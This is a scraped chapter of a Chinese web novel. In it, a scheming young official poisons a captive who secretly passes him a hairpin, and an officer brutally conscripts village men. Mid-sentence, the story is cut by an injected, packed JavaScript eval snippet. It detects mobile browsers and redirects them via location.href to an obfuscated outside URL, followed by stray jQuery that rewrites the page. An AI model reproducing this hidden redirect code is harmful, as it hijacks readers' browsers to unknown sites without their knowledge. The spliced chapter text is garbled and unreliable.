默认冷灰
24号文字
方正启体

59. 第59章

作者:泱羽本书字数:K更新时间:
    江不辞回去后,薛无锋立刻登门拜访,只是走到门口,就被甲乙二人抬臂拦住了。


    薛无锋咬牙切齿:“两个不长眼睛的给我看清楚了,连我也赶拦着?”


    乙给他打了个手势:【我家公子在忙,任何人不得打扰】


    薛无锋看懂了,心里更气,可江不辞刚救了他一命,他也不好直接翻脸,于是便道:“那去给我搬个椅子来,我坐在这里等。”


    两人对视一眼,甲去拿椅子,乙面无表情地站在一旁。


    薛无锋往地上啐了一口:“哑巴羔子!”


    乙脸上的表情没有半点波澜。


    约莫一个时辰过去,薛无锋有些坐不住了,这两个人也是死脑筋,连个茶都不知道要主动奉上来。


    他只觉自己喉咙里堵堵的,刚要发火,就见江不辞从里头出来:“薛大人怎么过来了?”


    薛无锋笑道:“江小公子现在可是个大忙人了。”


    “薛大人,你可别取笑我了,这替王爷卖命,那还不得十个尽心百个尽力。”江不辞走到他跟前,“本想请大人进屋去喝杯茶的,不过潘家那小子送到了,我倒是不急着审他,就是不知道薛大人急不急了。”


    薛无锋眼睛一瞪,反应过来。江不辞可以不急,可他这个戴罪立功的人,不能不急啊。


    “走,咱们现在就去。”


    潘阿毛被锁在囚车里,被人押着关进了地牢。江不辞和薛无锋到时,守卫禀告:“他身上又脏又臭,没什么东西,只有头上插了这根素簪,还请两位大人过目。”


    薛无锋先拿过来,左右摆弄一番,扔到一边:“破簪子而已,值不了几个钱。”


    他抬脚进了地牢,江不辞将那簪子捡起来,蹙着眉看向潘阿毛。


    潘阿毛浑身上下被扒了个干净,身子被一根粗麻绳倒吊起来,摇摇欲坠。


    他见江不辞进来,立刻朝他呲牙,张口便骂:“江不辞,你攀权附势,欺压百姓,我潘家何处对不住你,你竟如此不留情面,你就是个败类!”


    江不辞面不改色地望着他,突然笑了:“你们不是从小就知道么——江家小儿是妖魔,偷鸡偷鸭害人命。”


    潘阿毛一噎,顿时瞪大了眼睛。


    江不辞走近一步,手上把玩着那支素簪:“偷鸡偷鸭的事,我没干过。害人命的事……你爷爷,你阿爹阿娘,那是自己服毒自戕的,不算是我害了人命……”


    潘阿毛双眼腥红,张了张嘴,整个人像被煮熟的虾子。


    江不辞继续道:“你是潘家的独苗苗,若是个识相的,就赶紧说出真正的药方,你们潘家的根还能保住。你若不说,我便也喂你一口毒,黄泉路上,你们一家人整整齐齐……”


    潘阿毛盯着他那双金瞳,看了好久,突然开口道:“我只同你说,你靠近些。”


    薛无锋瞪他:“你一个阶下囚,哪有提条件的份儿。说就赶紧说,别耍花样,不然我就弄死你!”


    江不辞使了个眼色,同薛无锋耳语了几句,便走上前来,两人一上一下,目光平视。


    潘阿毛冷笑:“你再凑过来些。”


    江不辞看他一眼,将耳朵凑了过去。下一刻,潘阿毛张嘴,死死咬住。


    “江小公子!”


    “你,你——快,快松口,快——”


    江不辞疼得呲牙咧嘴,朝周边的人挥了挥手:“你……你们都退后……快……咝……我的耳朵……”


    事情发生的太过突然,守卫们看向薛无锋,薛无锋急得原地转了一个圈,道:“听……听江小公子的,都退后,退后……”


    一片混乱,无人看见,江不辞从袖中拿出一颗褐色药丸,塞进了潘阿毛嘴里。


    潘阿毛自然松开了嘴,也无人听见,他在江不辞耳边说了一句话——“一定要把这支簪子带出去”。


    江不辞捂着耳朵,往后退了好几步。耳朵上见了血,还有一个很深的牙印子,看着就疼。


    薛无锋咧了咧嘴,做出一个十分痛苦的表情:“快,快让郎中瞧瞧去!”


    江不辞怒了,直接推开上前来扶他的守卫:“我看你是真的不想活了,药呢?药呢?!把药端过来?!”


    旁边的守卫战战兢兢,还第一次看江小公子如此失态,连忙将毒药送到他手边上:“江小公子,这药……”


    江不辞一把夺过药碗,掐着潘阿毛的两腮,直接给他灌了下去:“你不是找死么,那我就成全你!”


    那药毒性很大,只一盏茶的功夫,潘阿毛的脑袋便耷拉了下来。


    江不辞闭了闭眼,指着自己身边的两个守卫:“愣着干什么,还不快点把尸体处理掉,让他在我的面前碍我的眼。”


    那两人拱了拱手,一人抬肩膀,一人抬两腿,将潘阿毛的尸身抬出了大牢。


    薛无锋在一旁看得目瞪口呆,他打人用刑从不留情,可还是第一次见这灌毒连眼睛都不眨一下的,更何况还是同乡。


    “江小公子,你的伤处如何了?”薛无锋关心地凑了过来。”


    “不妨事的,谢大人关心。”江不辞定定地看了他一眼,“潘阿毛之事,薛大人做得极好,我会在王爷面前多为大人美言几句的。”


    薛无锋很快反应过来,笑得眼睛眯成了一条缝:“那……本官多谢你?”


    “大人客气。”江不辞手里还拿着那根素簪,薛无锋的目光投过来,他立刻将那簪子一扔,扔到身后的守卫怀里,骂了一句:“晦气!”


    薛无锋笑笑,跟在江不辞身后:“你一会儿见到王爷,一定、一定、一定要多替我美言几句。”


    江不辞勾了勾嘴角:“一定。”


    *


    潘家人自戕的消息传到常渡村,村民们来不及替他们悲伤,一家家已自顾不暇。


    王爷要抓青壮年充军的消息还是从邻村传过来的,人们议论纷纷,不知道是真是假,直到李怀策领着一队人马进了村子。


    常渡村的人最喜欢看热闹,可他们都知道这人来了就没有什么好事,所以都躲在一边偷偷瞧着。


    李怀策轻了轻嗓子:“端王爷替陛下征兵,常渡村凡是十六岁以上,三十岁以下男儿,即刻充军。王村长,还劳烦你将本村的户籍册子拿与本官过目。”


    村长应了声,脸却惨白惨白,转身往回走时还被石头绊了一跤。


    李怀策抱着手臂,唇角一勾便朝四处打量。乡亲们都将头缩了回去,嘱咐家里的男丁快些藏好。


    村长空手而归,脸上没有一点笑模样,他抖着身子跪下,声音都在打颤:“大……大人,村中的户籍册子……不小心遗失了……”


    李怀策挑眉道:“遗失了?王村长,你确


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216174|176940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    定么?”


    村长咬了咬唇:“确……确定。”


    李怀策大笑:“好,既然如此,那我们便凭感觉选人了,我们觉得合适的,一律带走。”


    他又看向村长,眼中含笑:“上次住于贵宅,我记得你有个儿子叫犬娃,我看倒是极为合适呢。”


    村长一听,膝盖一软就跪了下去:“李大人,求李大人通融逼融,我夫人走得早,留了三个孩子就养活了这一个。若他有个好歹,你让我怎么活啊……”


    李怀策轻蔑一笑:“为朝廷做事,那可是上上光荣,你这个做爹的,应该替他感到骄傲才是啊。”


    旁边一人忍不住了,咬牙道:“什么为朝廷做事,别以为我们百姓笨到连你是谁的狗都分不清楚。”


    “你!”一旁的官兵怒道,“说什么呢,说什么呢,命不想要了是不是?!”


    李怀策微一抬眼,声音很轻:“罢了,把他拖下去,拔掉舌头也就是了。”


    村民们吓得缩紧了身子,眼睛里全是惊恐。


    李怀策吩咐手下人道:“挨家挨户地搜,若是十日之内凑不够五十人,那便老的幼的一齐带走!”


    “是!”官兵们行了礼,眼睛便朝村民们这边瞟来。


    村东边的私塾是办不下去了,外面一有动静,殷如兰的心就揪了起来。毕竟阮清武这个年纪,只要被看到了,一定会被抓起来带走的。


    官兵们忙了一天,抓了十几个人,同李怀策汇报时都不敢抬头。


    李怀策倒是无所谓地笑笑:“今日众兄弟们辛苦了,明日待命便可。”


    官兵们也摸不清楚李怀策葫芦里到底卖的是什么药,但休息总是好事,第二日也没有收到继续捉兵的命令,他们就更疑惑了。


    直到夜幕降临,紧张了一天的人们都躺到了床上。李怀策一声令下,官兵们直接闯入百姓家中,把人按在床上,抓个正着。


    阮家到底住得偏了些,一听到动静,阮清武立刻躲入了地窖。官兵进屋搜查一番,没看见人,只好失望而归。


    阮清殊就站在殷如兰身后,死死盯着他们,握成拳的手微微颤抖。


    她回到自己屋里,铺上宣纸,拿起了毛笔。


    案几旁的烛火跳动着。


    第二日,李怀策亲自带着官兵上门要人,又带了一批人回去。


    接下来的几日,陆续有人被捉带走。他们时而白天来,时而晚上来,搞得人心惶惶,不可终日。


    田里渐渐荒了,无人再下地去干活。阮清殊看在眼里,急得不行。


    终于一日,阮清殊带上连夜画的画像,到了李怀策跟前。


    李怀策还记得她,江不辞那小子的心上人么,就是她来找自己,还挺让人意外。


    “阮姑娘吧?请坐。”


    阮清殊站着没动,将手里的画册慢慢展开:“李大人,常渡村的百姓以病弱老少居多,为数不多的适龄男儿,还需养家糊口。若是……若是去了……怕是一家人都会被饿死的……”


    她的画册上画着白发苍苍的老人,画着面黄肌瘦的幼童。她希望李怀策看到这些画像,能真的通融通融。再这么逼下去,全村的百姓就都活不下去了。


    官兵们看着李怀策,李怀策看着画像。过了一会儿,他砸砸嘴,露出一个意味深长的笑来:“画得,还真不错。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)